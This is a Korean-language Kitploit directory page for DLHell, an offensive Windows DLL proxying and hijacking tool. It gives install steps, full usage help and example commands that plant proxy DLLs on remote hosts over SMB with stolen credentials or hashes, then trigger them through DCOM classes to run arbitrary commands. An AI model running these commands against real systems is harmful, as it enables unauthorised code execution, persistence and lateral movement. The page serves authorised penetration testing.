Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DLHell — Local & remote Windows DLL Proxying | Kitploit
도구/GitHubGitHub/synacktiv/dlhell
Privilege EscalationPersistence MechanismsExploitationLateral MovementPost-ExploitationPayload Development
GitHubsynacktiv/dlhell

DLHell

Local & remote Windows DLL Proxying

저장소 보기
172222년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DLHell

DLHell은 DCOM 로컬 및 원격 Windows DLL 프록시를 수행합니다.

설치

다음 패키지가 필요합니다(배포판에 따라 다를 수 있으며, 다음 예시는 Debian 12 기준입니다):

root@kitploit:~
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64

pip 종속성을 설치합니다:

root@kitploit:~
pip3 install -r requirements.txt

빠른 시작

다음 명령은 calc.exe를 실행하는 template.tpe 템플릿 파일(C++ 소스 하이재킹 라이브러리)을 사용하여 호스트 10.137.0.48의 netutils.dll 라이브러리를 하이재킹합니다. 원본 DLL과 프록시 DLL은 모두 원격 대상의 C$ 공유에 있는 program files/windows nt/accessories/ 폴더에 배치됩니다.

-remote-target 옵션에는 Impacket 구문을 사용하세요.

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'

Kerberos 인증도 사용할 수 있습니다:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1

사용 가능한 CLSID 및 ProgID 목록:

root@kitploit:~
DLHell.py -list

사용법

root@kitploit:~
 ____  _     _   _      _ _
|  _ \| |   | | | | ___| | |
| | | | |   | |_| |/ _ \ | |
| |_| | |___|  _  |  __/ | |
|____/|_____|_| |_|\___|_|_|

DLHell v1.0

usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
                 [-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
                 [-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]]

DLL Hell - DLL Proxifier/Hijacker

options:
  -h, --help            show this help message and exit
  -local-lib LOCAL_LIB  Path of the remote library on the local system, ex: version.dll
  -remote-lib REMOTE_LIB
                        Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
                        Will connect using SMB on C$ share. Admin rights needed. Requires -target
  -local-target LOCAL_TARGET
                        The new name of the local output proxyfied library
  -remote-target REMOTE_TARGET
                        The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
                        share. Admin rights needed. Requires -target
  -target TARGET        [[domain/]username[:password]@]<targetName or address>
  -clsid CLSID          CLSID of DCOM class to activate
  -progid PROGID        ProgID of DCOM class to activate
  -t T, -template T     Template file to use for lib generation
  -c C, -command C      Command to execute using hijacked lib
  -u U, -user U         Name of the user to hijack (used to put DLLs in localappdata folder)
  -l, -list             Lists vulnerable CLSID & ProgID for DCOM Hijacking

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
                        target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN)
                        specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as
                        target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

로컬 DLL 프록시

로컬 DLL 제작에는 -local-lib(프록시 DLL 이름) 및 -local-target(이름이 변경된 원본 DLL) 옵션을 사용하세요:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'

원격 DLL 프록시(관리자 권한 필요):

원격 DLL 하이재킹의 경우 -target, -remote-lib(원격 호스트의 원본 DLL 이름) 및 -local-target(이름이 변경된 원본 DLL) 옵션을 지정하세요:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'

DCOM DLL 프록시(관리자 권한 필요)

DCOM DLL 프록시는 -progid 및 -clsid 옵션을 사용하여 악용할 수 있습니다. 사용 가능한 CLSID 및 ProgID 목록은 다음 명령으로 확인할 수 있습니다:

root@kitploit:~
DLHell.py -list

취약한 라이브러리의 경로를 정의하는 dcom.json 파일에 새로운 하이재킹을 추가할 수 있습니다:

그런 다음 ProgID 또는 CLSID만 있으면 다음 작업을 수행할 수 있습니다:

  • 원본 DLL 가져오기
  • 하이재킹 라이브러리 생성 및 컴파일
  • 원격 호스트에 라이브러리 업로드
  • 원격 DCOM 클래스 활성화

ProgID WordPad.Document.1 예시:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1

CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959 예시:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959
도구 다운로드